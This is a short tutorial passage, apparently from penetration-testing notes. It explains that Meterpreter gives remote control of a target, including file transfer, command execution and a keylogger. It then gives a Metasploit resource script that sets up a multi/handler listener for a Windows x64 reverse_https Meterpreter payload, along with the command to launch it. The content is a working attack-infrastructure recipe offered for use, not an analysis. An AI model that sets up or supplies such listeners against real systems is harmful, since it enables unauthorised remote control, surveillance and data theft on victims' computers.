Meterpreter is a payload that uses in-memory DLL injection to stealthfully establish a communication channel between an attack box and a target. The proper credentials and attack vector can give us the ability to upload & download files, execute system commands, run a keylogger, create/start/stop services, manage processes, and more.

  1. Metasploit Resource Script

    Next, save the below commands to a Resource Script file named handler.rc.

    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_https
    set LHOST <our_ip>
    set LPORT 8443
    exploit
    
  2. Launching Metasploit with Resource Script

    sudo msfconsole -r handler.rc